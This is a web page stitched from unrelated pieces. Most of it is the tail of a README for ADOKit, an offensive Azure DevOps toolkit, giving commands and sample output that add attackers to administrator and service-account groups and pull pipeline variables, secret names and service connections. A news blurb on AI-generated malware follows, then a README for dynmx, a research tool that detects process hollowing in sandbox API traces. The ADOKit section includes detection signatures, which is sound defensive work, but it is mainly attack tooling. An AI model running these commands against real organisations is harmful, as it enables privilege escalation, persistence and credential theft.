------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Build Administrators | Build Administrators | Mem bers of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Project Valid Users | Project Valid Users | Members of this group have access to the team project.
[MaraudersMap]\Readers | Readers | Members of this group have access to the team project.


[*] INFO: List ing group members for each group that has permissions to this project



GROUP NAME: [MaraudersMap]\Build Administrators

Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


GROUP NAME: [MaraudersMap]\Contributors

Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Contributo rs | user1@YourOrganization.onmicrosoft.com | User 1
[MaraudersMap]\Contributors | user2@YourOrganization.onmicrosoft.com | User 2


GROUP NAME: [MaraudersMap]\MaraudersMap Team

Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\MaraudersMap Team | brett.hawkins@YourOrganization.onmicrosoft.com | Brett Hawkins


GROUP NAME: [MaraudersMap]\Project Administrators

Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | brett.hawkins@YourOrganization.onmicrosoft.com | Brett Hawkins


GROUP NAME: [MaraudersMap]\Project Valid Users

Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


GROUP NAME: [MaraudersMap]\Readers

Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Readers | jsmith@YourOrganization.onmicrosoft.com | John Smith

4/4/23 13:11:18 Finished execution of getpermissions

Add Project Admin

Use Case

Add a user to the Project Administrators group for a given project.

Syntax

Provide the addprojectadmin module along with a /project: and /user: for a given user to be added to the Project Administrators group for the given project. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.

ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

Example Output

C:\>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

==================================================
Module: addprojectadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 2:52:45 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully added

Group | Mail Address | Display Name
-------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | brett.hawkins@YourOrganization.onmicrosoft.com | Brett Hawkins
[MaraudersMap]\Project Administrators | user1@YourOrganization.onmicrosoft.com | User 1

4/4/23 18:52:47 Finished execution of addprojectadmin

Remove Project Admin

Use Case

Remove a user from the Project Administrators group for a given project.

Syntax

Provide the removeprojectadmin module along with a /project: and /user: for a given user to be removed from the Project Administrators group for the given project. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.

ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

Example Output

C:\>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

==================================================
Module: removeprojectadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 3:19:43 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully removed

Group | Mail Address | Display Name
------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | brett.hawkins@YourOrganization.onmicrosoft.com | Brett Hawkins

4/4/23 19:19:44 Finished execution of removeprojectadmin

Add Build Admin

Use Case

Add a user to the Build Administrators group for a given project.

Syntax

Provide the addbuildadmin module along with a /project: and /user: for a given user to be added to the Build Administrators group for the given project. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.

ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

Example Output

C:\>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

==================================================
Module: addbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 3:41:51 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully added

Group | Mail Address | Display Name
-------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------
[MaraudersMap]\Build Administrators | user1@YourOrganization.onmicrosoft.com | User 1

4/4/23 19:41:55 Finished execution of addbuildadmin

Remove Build Admin

Use Case

Remove a user from the Build Administrators group for a given project.

Syntax

Provide the removebuildadmin module along with a /project: and /user: for a given user to be removed from the Build Administrators group for the given project. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.

ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

Example Output

C:\>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

==================================================
Module: removebuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 3:42:10 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully removed

Group | Mail Address | Display Name
------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------

4/4/23 19:42:11 Finished execution of removebuildadmin

Add Collection Admin

Use Case

Add a user to the Project Collection Administrators group.

Syntax

Provide the addcollectionadmin module along with a /user: for a given user to be added to the Project Collection Administrators group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.

ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Example Output

C:\>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module: addcollectionadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 4:04:40 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to add user1 to the Project Collection Administrators group.

[+] SUCCESS: User successfully added

Group | Mail Address | Display Name
-------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------------
[YourOrganization]\Project Collection Administrators | jsmith@YourOrganization.onmicrosoft.com | John Smith
[YourOrganization]\Project Collection Administrators | user1@YourOrganization.onmicrosoft.com | User 1

4/4/23 20:04:43 Finished execution of addcollectionadmin

Remove Collection Admin

Use Case

Remove a user from the Project Collection Administrators group.

Syntax

Provide the removecollectionadmin module along with a /user: for a given user to be removed from the Project Collection Administrators group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.

ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Example Output

C:\>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module: removecollectionadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 4:10:35 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.

[+] SUCCESS: User successfully removed

Group | Mail Address | Display Name
------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------
[YourOrganization]\Project Collection Administrators | jsmith@YourOrganization.onmicrosoft.com | John Smith

4/4/23 20:10:38 Finished execution of removecollectionadmin

Add Collection Build Admin

Use Case

Add a user to the Project Collection Build Administrators group.

Syntax

Provide the addcollectionbuildadmin module along with a /user: for a given user to be added to the Project Collection Build Administrators group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.

ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Example Output

C:\>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module: addcollectionbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 8:21:39 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.

[+] SUCCESS: User successfully added

Group | Mail Address | Display Name
---------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------
[YourOrganization]\Project Collection Build Administrators | user1@YourOrganization.onmicrosoft.com | User 1

4/5/23 12:21:42 Finished execution of addcollectionbuildadmin

Remove Collection Build Admin

Use Case

Remove a user from the Project Collection Build Administrators group.

Syntax

Provide the removecollectionbuildadmin module along with a /user: for a given user to be removed from the Project Collection Build Administrators group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.

ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Example Output

C:\>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module: removecollectionbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 8:21:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.

[+] SUCCESS: User successfully removed

Group | Mail Address | Display Name
--------------------------------------------------------------------------------- -----------------------------------------------------------------------------------------------

4/5/23 12:22:02 Finished execution of removecollectionbuildadmin

Add Collection Build Service Account

Use Case

Add a user to the Project Collection Build Service Accounts group.

Syntax

Provide the addcollectionbuildsvc module along with a /user: for a given user to be added to the Project Collection Build Service Accounts group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.

ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Example Output

C:\>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module: addcollectionbuildsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 8:22:13 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.

[+] SUCCESS: User successfully added

Group | Mail Address | Display Name
------------------------------------------------------------------------------------------------ --------------------------------------------------------------------------------
[YourOrganization]\Project Collection Build Service Accounts | user1@YourOrganization.onmicrosoft.com | User 1

4/5/23 12:22:15 Finished execution of addcollectionbuildsvc

Remove Collection Build Service Account

Use Case

Remove a user from the Project Collection Build Service Accounts group.

Syntax

Provide the removecollectionbuildsvc module along with a /user: for a given user to be removed from the Project Collection Build Service Accounts group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.

ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Example Output

C:\>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module: removecollectionbuildsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 8:22:27 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.

[+] SUCCESS: User successfully removed

Group | Mail Address | Display Name
----------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------

4/5/23 12:22:28 Finished execution of removecollectionbuildsvc

Add Collection Service Account

Use Case

Add a user to the Project Collection Service Accounts group.

Syntax

Provide the addcollectionsvc module along with a /user: for a given user to be added to the Project Collection Service Accounts group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.

ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Example Output

C:\>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module: addcollectionsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 11:21:01 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.

[+] SUCCESS: User successfully added

Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------- -----------------------------------------------------------------
[YourOrganization]\Project Collection Service Accounts | jsmith@YourOrganization.onmicrosoft.com | John Smith
[YourOrganization]\Project Collection Service Accounts | user1@YourOrganization.onmicrosoft.com | User 1

4/5/23 15:21:04 Finished execution of addcollectionsvc

Remove Collection Service Account

Use Case

Remove a user from the Project Collection Service Accounts group.

Syntax

Provide the removecollectionsvc module along with a /user: for a given user to be removed from the Project Collection Service Accounts group. Additionally, provide along any relevant authentication information and URL. See Module Details Table for the permissions needed to perform this action.

ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Example Output

C:\>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module: removecollectionsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 11:21:43 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.

[+] SUCCESS: User successfully removed

Group | Mail Address | Display Name
-------------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------
[YourOrganization]\Project Collection Service Accounts | jsmith@YourOrganization.onmicrosoft.com | John Smith

4/5/23 15:21:44 Finished execution of removecollectionsvc

Get Pipeline Variables

Use Case

Extract any pipeline variables being used in project(s), which could contain credentials or other useful information.

Syntax

Provide the getpipelinevars module along with a /project: for a given project to extract any pipeline variables being used. If you would like to extract pipeline variables from all projects specify all in the /project: argument.

ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"

Example Output

C:\>ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module: getpipelinevars
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/6/2023 12:08:35 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

Pipeline Var Name | Pipeline Var Value
-----------------------------------------------------------------------------------
credential | P@ssw0rd123!
url | http://blah/

4/6/23 16:08:36 Finished execution of getpipelinevars

Get Pipeline Secrets

Use Case

Extract the names of any pipeline secrets being used in project(s), which will direct the operator where to attempt to perform secret extraction.

Syntax

Provide the getpipelinesecrets module along with a /project: for a given project to extract the names of any pipeline secrets being used. If you would like to extract the names of pipeline secrets from all projects specify all in the /project: argument.

ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"

Example Output

C:\>ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module: getpipelinesecrets
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/10/2023 10:28:37 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

Build Secret Name | Build Secret Value
-----------------------------------------------------
anotherSecretPass | [HIDDEN]
secretpass | [HIDDEN]

4/10/23 14:28:38 Finished execution of getpipelinesecrets

Get Service Connections

Use Case

List any service connections being used in project(s), which will direct the operator where to attempt to perform credential extraction for any service connections being used.

Syntax

Provide the getserviceconnections module along with a /project: for a given project to list any service connections being used. If you would like to list service connections being used from all projects specify all in the /project: argument.

ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"

Example Output

C:\>ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module: getserviceconnections
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/11/2023 8:34:16 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

Connection Name | Connection Type | ID
--------------------------------------------------------------------------------------------------------------------------------------------------
Test Connection Name | generic | 195d960c-742b-4a22-a1f2-abd2c8c9b228
Not Real Connection | generic | cd74557e-2797-498f-9a13-6df692c22cac
Azure subscription 1(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | 5665ed5f-3575-4703-a94d-00681fdffb04
Azure subscription 1(1)(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | df8c023b-b5ad-4925-a53d-bb29f032c382

4/11/23 12:34:16 Finished execution of getserviceconnections

Detection

Below are static signatures for the specific usage of this tool in its default state:

  • Project GUID - {60BC266D-1ED5-4AB5-B0DD-E1001C3B1498}
  • See ADOKit Yara Rule in this repo.
  • User Agent String - ADOKit-21e233d4334f9703d1a3a42b6e2efd38
  • See ADOKit Snort Rule in this repo.
  • Microsoft Sentinel Rules
  • ADOKitUsage.json - Detects the usage of ADOKit with any auditable event (e.g., adding a user to a group)
  • PersistenceTechniqueWithADOKit.json - Detects the creation of a PAT or SSH key with ADOKit

For detection guidance of the techniques used by the tool, see the X-Force Red whitepaper.

Roadmap

  • Support for Azure DevOps Server

References

  • https://learn.microsoft.com/en-us/rest/api/azure/devops/?view=azure-devops-rest-7.1
  • https://learn.microsoft.com/en-us/azure/devops/user-guide/what-is-azure-devops?view=azure-devops


From Deepfakes to Malware: AI's Expanding Role in Cyber Attacks

Large language models (LLMs) powering artificial intelligence (AI) tools today could be exploited to develop self-augmenting malware capable of bypassing YARA rules. "Generative AI can be used to evade string-based YARA rules by augmenting the source code of small malware variants, effectively lowering detection rates," Recorded Future said in a new report shared with The Hacker News.

Dynmx - Signature-based Detection Of Malware Features Based On Windows API Call Sequences

By: Zion3R


dynmx (spoken dynamics) is a signature-based detection approach for behavioural malware features based on Windows API call sequences. In a simplified way, you can think of dynmx as a sort of YARA for API call traces (so called function logs) originating from malware sandboxes. Hence, the data basis for the detection approach are not the malware samples themselves which are analyzed statically but data that is generated during a dynamic analysis of the malware sample in a malware sandbox. Currently, dynmx supports function logs of the following malware sandboxes:

  • VMRay (function log, text-based and XML format)
  • CAPEv2 (report.json file)
  • Cuckoo (report.json file)

The detection approach is described in detail in the master thesis Signature-Based Detection of Behavioural Malware Features with Windows API Calls. This project is the prototype implementation of this approach and was developed in the course of the master thesis. The signatures are manually defined by malware analysts in the dynmx signature DSL and can be detected in function logs with the help of this tool. Features and syntax of the dynmx signature DSL can also be found in the master thesis. Furthermore, you can find sample dynmx signatures in the repository dynmx-signatures. In addition to detecting malware features based on API calls, dynmx can extract OS resources that are used by the malware (a so called Access Activity Model). These resources are extracted by examining the API calls and reconstructing operations on OS resources. Currently, OS resources of the categories filesystem, registry and network are considered in the model.


Example

In the following section, examples are shown for the detection of malware features and for the extraction of resources.

Detection

For this example, we choose the malware sample with the SHA-256 hash sum c0832b1008aa0fc828654f9762e37bda019080cbdd92bd2453a05cfb3b79abb3. According to MalwareBazaar, the sample belongs to the malware family Amadey. There is a public VMRay analysis report of this sample available which also provides the function log traced by VMRay. This function log will be our data basis which we will use for the detection.

If we would like to know if the malware sample uses an injection technique called Process Hollowing, we can try to detect the following dynmx signature in the function log.

dynmx_signature:
meta:
name: process_hollow
title: Process Hollowing
description: Detection of Process hollowing malware feature
detection:
proc_hollow:
# Create legit process in suspended mode
- api_call: ["CreateProcess[AW]", "CreateProcessInternal[AW]"]
with:
- argument: "dwCreationFlags"
operation: "flag is set"
value: 0x4
- return_value: "return"
operation: "is not"
value: 0
store:
- name: "hProcess"
as: "proc_handle"
- name: "hThread"
as: "thread_handle"
# Injection of malicious code into memory of previously created process
- variant:
- path:
# Allocate memory with read, write, execute permission
- api_call: ["VirtualAllocE x", "VirtualAlloc", "(Nt|Zw)AllocateVirtualMemory"]
with:
- argument: ["hProcess", "ProcessHandle"]
operation: "is"
value: "$(proc_handle)"
- argument: ["flProtect", "Protect"]
operation: "is"
value: 0x40
- api_call: ["WriteProcessMemory"]
with:
- argument: "hProcess"
operation: "is"
value: "$(proc_handle)"
- api_call: ["SetThreadContext", "(Nt|Zw)SetContextThread"]
with:
- argument: "hThread"
operation: "is"
value: "$(thread_handle)"
- path:
# Map memory section with read, write, execute permission
- api_call: "(Nt|Zw)MapViewOfSection"
with:
- argument: "ProcessHandle"
operation: "is"
value: "$(proc_handle)"
- argument: "AccessProtection"
operation: "is"
value: 0x40
# Resume thread to run injected malicious code
- api_call: ["ResumeThread", "(Nt|Zw)ResumeThread"]
with:
- argument: ["hThread", "ThreadHandle"]
operation: "is"
value: "$(thread_handle)"
condition: proc_hollow as sequence

Based on the signature, we can find some DSL features that make dynmx powerful:

  • Definition of API call sequences with alternative paths
  • Matching of API call function names with regular expressions
  • Matching of argument and return values with several operators
  • Storage of variables, e.g. in order to track handles in the API call sequence
  • Definition of a detection condition with boolean operators (AND, OR, NOT)

If we run dynmx with the signature shown above against the function of the sample c0832b1008aa0fc828654f9762e37bda019080cbdd92bd2453a05cfb3b79abb3, we get the following output indicating that the signature was detected.

$ python3 dynmx.py detect -i 601941f00b194587c9e57c5fabaf1ef11596179bea007df9bdcdaa10f162cac9.json -s process_hollow.yml


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Ver. 0.5 (PoC), by 0x534a


[+] Parsing 1 function log(s)
[+] Loaded 1 dynmx signature(s)
[+] Starting detection process with 1 worker(s). This probably takes some time...

[+] Result
process_hollow c0832b1008aa0fc828654f9762e37bda019080cbdd92bd2453a05cfb3b79abb3.txt

We can get into more detail by setting the output format to detail. Now, we can see the exact API call sequence that was detected in the function log. Furthermore, we can see that the signature was detected in the process 51f0.exe.

$ python3 dynmx.py -f detail detect -i 601941f00b194587c9e57c5fabaf1ef11596179bea007df9bdcdaa10f162cac9.json -s process_hollow.yml


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Ver. 0.5 (PoC), by 0x534a


[+] Parsing 1 function log(s)
[+] Loaded 1 dynmx signature(s)
[+] Starting detection process with 1 worker(s). This probably takes some time...

[+] Result
Function log: c0832b1008aa0fc828654f9762e37bda019080cbdd92bd2453a05cfb3b79abb3.txt
Signature: process_hollow
Process: 51f0.exe (PID: 3768)
Number of Findings: 1
Finding 0
proc_hollow : API Call CreateProcessA (Function log line 20560, index 938)
proc_hollow : API Call VirtualAllocEx (Function log line 20566, index 944)
proc_hollow : API Call WriteProcessMemory (Function log line 20573, index 951)
proc_hollow : API Call SetThreadContext (Function log line 20574, index 952)
proc_hollow : API Call ResumeThread (Function log line 20575, index 953)

Resources

In order to extract the accessed OS resources from a function log, we can simply run the dynmx command resources against the function log. An example of the detailed output is shown below for the sample with the SHA-256 hash sum 601941f00b194587c9e57c5fabaf1ef11596179bea007df9bdcdaa10f162cac9. This is a CAPE sandbox report which is part of the Avast-CTU Public CAPEv2 Dataset.

$ python3 dynmx.py -f detail resources --input 601941f00b194587c9e57c5fabaf1ef11596179bea007df9bdcdaa10f162cac9.json


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Ver. 0.5 (PoC), by 0x534a


[+] Parsing 1 function log(s)
[+] Processing function log(s) with the command 'resources'...

[+] Result
Function log: 601941f00b194587c9e57c5fabaf1ef11596179bea007df9bdcdaa10f162cac9.json (/Users/sijansen/Documents/dev/dynmx_flogs/cape/Public_Avast_CTU_CAPEv2_Dataset_Full/extracted/601941f00b194587c9e57c5fabaf1ef11596179bea007df9bdcdaa10f162cac9.json)
Process: 601941F00B194587C9E5.exe (PID: 2008)
Filesystem:
C:\Windows\SysWOW64\en-US\SETUPAPI.dll.mui (CREATE)
API-MS-Win-Core-LocalRegistry-L1-1-0.dll (EXECUTE)
C:\Windows\SysWOW64\ntdll.dll (READ)
USER32.dll (EXECUTE)
KERNEL32. dll (EXECUTE)
C:\Windows\Globalization\Sorting\sortdefault.nls (CREATE)
Registry:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup\SourcePath (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\DevicePath (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings\DisableImprovedZoneCheck (READ)
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings (READ)
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Security_HKLM_only (READ)
Process: 601941F00B194587C9E5.exe (PID: 1800)
Filesystem:
C:\Windows\SysWOW64\en-US\SETUPAPI.dll.mui (CREATE)
API-MS-Win-Core-LocalRegistry-L1-1-0.dll (EXECUTE)
C:\Windows\SysWOW64\ntdll.dll (READ)
USER32.dll (EXECUTE)
KERNEL32.dll (EXECUTE)
[...]
C:\Users\comp\AppData\Local\vscmouse (READ)
C:\Users\comp\AppData\Local\vscmouse\vscmouse.exe:Zone.Identifier (DELETE)
Registry:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup (READ)
[...]
Process: vscmouse.exe (PID: 900)
Filesystem:
C:\Windows\SysWOW64\en-US\SETUPAPI.dll.mui (CREATE)
API-MS-Win-Core-LocalRegistry-L1-1-0.dll (EXECUTE)
C:\Windows\SysWOW64\ntdll.dll (READ)
USER32.dll (EXECUTE)
KERNEL32.dll (EXECUTE)
C:\Windows\Globalization\Sorting\sortdefault.nls (CREATE)
Registry:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT (READ)
